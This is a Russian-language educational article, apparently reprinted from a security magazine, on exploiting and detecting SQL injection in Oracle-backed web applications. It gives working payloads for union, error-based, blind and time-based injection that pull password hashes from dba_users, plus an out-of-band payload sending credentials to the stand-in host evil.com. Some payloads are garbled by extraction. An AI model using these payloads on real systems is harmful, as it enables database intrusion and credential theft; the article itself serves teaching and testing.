Способы и техники эксплуатации SQL-инъекций. — КиберПедия 

Автоматическое растормаживание колес: Тормозные устройства колес предназначены для уменьше­ния длины пробега и улучшения маневрирования ВС при...

Двойное оплодотворение у цветковых растений: Оплодотворение - это процесс слияния мужской и женской половых клеток с образованием зиготы...

Способы и техники эксплуатации SQL-инъекций.

2020-02-15 999
Способы и техники эксплуатации SQL-инъекций. 0.00 из 5.00 0 оценок
Заказать работу

Рассмотрим основные способы и техники экспулатации SQL-инъекций, при помощи которых злоумышленник может получить доступ к содержимому БД. Рассматриваемые техники являются универсальными, так

как применимы для СУБД Oracle, MySQL и MS SQL

Server, широко используемых при создании web-приложений, и работают вне зависимости от используемого языка разработки: ASP, Java или PHP.

Далее будут рассмотрены следующие техники эксплуатации уязвимости:

● Union SQL-инъекция.

● Error-based SQL-инъекция.

● Blind SQL-инъекция.

● Time-based SQL-инъекция.

● Out-bound SQL-инъекция.

Union SQL инъекция

Использование данной техники основано на применении оператора UNION, который позволяет объеденить результаты выполнения двух или более запросов

SELECT. Использование данной техники заключается

в добавлении нужного запроса SELECT при помощи

оператора UNION к первоначальному запросу.

Для корректности результирующего запроса, полученного при помощи оператора UNION, необходимо,

чтобы у двух выражений SELECT совпадало количество

и тип аргументов. В противном случае СУБД сгенерирует исключение. В зависимости от логики работы приложения либо будет выведено сообщение о возникшем при

работе с СУБД исключением, либо страница отобразится пользователю некорректно.

Первоначально злоумышлениик перебором определяет количество аргументов в SQL-запросе. Универсальным методом определения количества аргументов является использование оператора сортировки ORDER BY.

При несовпадении количества аргументов СУБД Oracle

выдает следующее сообщение.

ORA01789: query block has incorrect number of result columns

Для определения количества аргументов в качестве

уязвимого строкового параметра передает последовательно следующие значения.

запрос выполнен

‘ ORDER BY 1

запрос выполнен

‘ ORDER BY 2

запрос выполнен

‘ ORDER BY 3

возникло исключение

‘ ORDER BY 4

Таким образом, количество аргументов в SQL-запросе равно трем. На практике применяется не линейный, а бинарный поиск. Напомним, что время подбора количества аргументов при бинарном поиске равно

O(log(n)), где n – количество аргументов в запросе.

После определения количества аргументов перебором

определяется для каких аргументов задан constraint NOT

NULL и тип этих аргументов (числовой, строковый или

дата). В качестве остальных аргументов передается null.

возникло исключение

UNION SELECT ‘test’, null, null FROM dual

запрос выполнен

UNION SELECT null, ‘test’, null FROM dual

После определения количества аргументов и определения не нулевых аргументов (NOT NULL), а также их

типов (числовой, строковый и дата), в качестве второго параметра злоумышленник передает нужный SQL-запрос, который должен возвращать строку. Для получения хэша пароля пользователя SYS из таблицы dba_users

можно передать следующее выражение в качестве уязвимого строкового параметра.

‘ UNION SELECT null, (SELECT username || ‘’ || password

FROM dba_users WHERE username = ‘SYS’), null FROM dual

Errorbased SQLинъекция

Данная техника используется, когда приложение некорректно обрабатывает исключения, возникающие при

работе с СУБД, и сообщение о возникшем исключении

отображается пользователю. В СУБД Oracle есть уязвимые функции, которые отображают в сообщении о возникшем исключении часть входных параметров. К таким

функциям относятся XMLType() и ctxsys.drithsx.sn().

Используя данные функции, злоумышленник может построчно считывать информацию из таблицы БД

(например, хэши паролей из таблицы dba_users).

При использовании функции XMLType() SQL-инъекция выглядит следующим образом.

извлечение первой строки из dba_users

‘ AND (1)=UPPER(XMLType(‘<:’|| SELECT cred FROM (SELECT

username || ’‘ || password cred, rownum FROM dba_users)

WHERE rn= 1 ||’>’))

извлечение второй строки из dba_users

‘ AND (1)=UPPER(XMLType(‘<:’|| SELECT cred FROM (SELECT

username || ’‘ || password cred, rownum FROM dba_users)

WHERE rn= 2 ||’>’))

При использовании функции ctxsys.drithsx.sn() SQLинъекция выглядит следующим образом.

извлечение первой строки из dba_users

‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT

username || ’‘ || password cred, rownum FROM dba_users)

WHERE rn= 1))

4 Защита информации. INSIDE № 2’2011

ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО

извлечение второй строки из dba_users

‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT

username || ’‘ || password cred, rownum FROM dba_users)

WHERE rn= 2))

Blind SQLинъекция

В случае если нельзя использовать Union и Errorbased SQL-инъекцию: результат выполнения запроса не

отображается пользователю либо приложение корректно обрабатывет исключения. Однако если при этом, модифицируя запрос, можно влиять на логику работы

приложения: при определенных входных данных некоторые страницы отображаются неправильно или запрос

возвращает только часть информации. В этом случе

можно использовать технику Blind SQL.

Составляется SQL-выражение, которое при истинном значении не нарушает логику работы приложения.

При ложном же значении возникает аномальное поведение в работе web-приложения: страницы неправильно отображаются либо возвращается только часть данных. С целью проверки логических условий в качестве

подобного SQL-выражения можно использовать следующее.

// INJECTION – SQLзапрос, который возвращает значение,

либо null

// null – страница некорректно отображается

AND NVL(INJECTION,0)!= 0

Для того чтобы выяснить, обладает ли текущий пользователь правами роли DBA, можно использовать следующую инъекцию.

если страница корректно отобразилась, пользователю

назначена роль DBA

Product 1‘ AND NVL((SELECT LENGTH(username) FROM

user_role_privs WHERE granted_role = ‘DBA’),0)!= 0

Для посимвольного извлечения данных из таблиц

БД можно использовать следующую инъекцию

извлечение первого символа

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),1,1)),0) = 65

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),1,1)),0) = 66

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),1,1)),0) = 67

извлечение второго символа

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),2,1)),0) = 65

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),2,1)),0) = 66

Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM

dual)),2,1)),0) = 67

Для ускорения посимвольного извлечения можно

использовать бинарный поиск.

Timebased SQLинъекция

Данная техника похожа на Blind SQL-инъекцию. Также составляется SQL-выражение, но анализируется не

возвращаемый результат, а время отклика сервера СУБД.

При ложном значении SQL-выражения время отклика

незначительно, а при истинном значеннии составляется несколько секунд. Используя данную технику можно

проверять логические условия, например наличие роли

DBA у текущего пользователя, а также посимвольно извлекать данные из таблиц БД. Time-based SQL-инъекция

выполняется медленне чем Blind SQL-инъекции.

Для внесения задержки обычно используется следующий SQL-запрос.

задержка в несколько секунд

SELECT count(*) FROM all_objects, all_objects

Таким образом, для посимвольного извлечения

данных из таблиц БД можно использовать следующую

инъекцию.

извлечение первого символа

Product 1‘ AND 0!=(select decode(substr(user,1,1),’A’,

(select count(*) from all_objects, all_objects),0) from dual)

Product 1‘ AND 0!=(select decode(substr(user,1,1),’B’,

(select count(*) from all_objects, all_objects),0) from dual)

Product 1‘ AND 0!=(select decode(substr(user,1,1),’C’,

(select count(*) from all_objects, all_objects),0) from dual)

извлечение второго символа

Product 1‘ AND 0!=(select decode(substr(user,2,1),’A’,

(select count(*) from all_objects, all_objects),0) from dual)

Product 1‘ AND 0!=(select decode(substr(user,2,1),’B’,

(select count(*) from all_objects, all_objects),0) from dual)

Product 1‘ AND 0!=(select decode(substr(user,2,1),’C’,

(select count(*) from all_objects, all_objects),0) from dual)

Как и в предыдущем случае, для ускорения посимвольного извлечения можно использовать бинарный поиск.

Outbound SQLинъекция

В случае если ни одна из вышеперечисленных техник эксплуатации SQL-инъекций не применима можно воспользоваться Out-bound техникой. Для применения данной техники необходим удаленный сервер, который находится под контролем злоумышленника,

либо доступ к директории на сервере СУБД. Техника заключается в следующем: злоумышленник направляет

вывод результата SQL-запроса на удаленный сервер, используя протоколы DNS, HTTP, SMTP, или осуществляет запись в файл, который расположен в доступной

для злоумышленника директории на сервере СУБД.

Используя пакет utl_http злоумышленник может направить данные из таблиц БД на удаленный сервер следующим образом.

--результата выполнения запроса передается

на http://evil.com

‘ AND 1=SELECT SUM(LENGTH(utl_http.request(‘http://ev

il.com/’||username||””||password)) FROM dba.users

Функция Sum() необходима для получения всех записей из таблицы dba_users. Стоит отметить, что в некоторых версиях Oracle в стандартной конфигурации

пакет utl_http доступен на выполнение роли PUBLIC.

Выявление SQL-инъекции.

Первым шагом в процессе выявления SQL-инъекции является определение способов передачи данных

в web-приложение:

● параметров, передаваемых при помощи GET- или

POST-методов;

● значений, содержащихся в Cookie;

● параметров HTTP-заголовка (таких как Referer и UserAgent).

После определения входных параметров необходимо определить корректность обработки их web-приложением. Модифицируя входные параметры, необходимо добиться возникновения исключения в web-приложении, результатом которого будет сообщение о возникшем исключении либо некорректно отображенная

страница или ответ, содержащий неполные (избыточные) данные.

Для тестирования страницы на наличие SQL-инъекции

можно выполнить последовательно следующие запросы.

страница отображается корректно

http://localhost:8080/catalog/show.jsp?name=Product 1

не выполнена сортировка данных

http://localhost:8080/catalog/show.jsp?name=Product 1’

AND 1=1

данные на странице не отображаются, т. к. условие

1 = 2 – ложно

http://localhost:8080/catalog/show.jsp?name=Product 1’

AND 1=2

В результате, параметр name на страницe show.jsp является уязвимым.

Для определения SQL-инъекций широко применяются инструментальные средства для автоматического

тестирования web-приложений на наличие уязвимостей: HP WebInspect, HP Scrawlr, IBM Rational AppScan,

SQLiX, Paros Proxy.

Инструментальные средства автоматически выполняют следующие проверки для передаваемых строковых параметров.

value – строковое значение при котором исключение

не возникает

value’ OR

value’ OR 5=5 OR ‘s’=’o

value’ AND 5=5 OR ‘s’=’o

value’ OR 5=0 OR ‘s’=’o

value’ AND 5=0 OR ‘s’=’o

Для числовых параметров выполняют следующие

проверки.

value – числовое значение при котором исключение

не возникает

0+value

value AND 5=5

value AND 5=0

value OR 5=5 OR 4=0

value OR 5=0 OR 4=0

В качестве способов передачи параметров можно задать GET- и POST-методы, Cookie, параметры HTTP-заголовка.


Поделиться с друзьями:

Своеобразие русской архитектуры: Основной материал – дерево – быстрота постройки, но недолговечность и необходимость деления...

История развития пистолетов-пулеметов: Предпосылкой для возникновения пистолетов-пулеметов послужила давняя тенденция тяготения винтовок...

Типы сооружений для обработки осадков: Септиками называются сооружения, в которых одновременно происходят осветление сточной жидкости...

Наброски и зарисовки растений, плодов, цветов: Освоить конструктивное построение структуры дерева через зарисовки отдельных деревьев, группы деревьев...



© cyberpedia.su 2017-2024 - Не является автором материалов. Исключительное право сохранено за автором текста.
Если вы не хотите, чтобы данный материал был у нас на сайте, перейдите по ссылке: Нарушение авторских прав. Мы поможем в написании вашей работы!

0.038 с.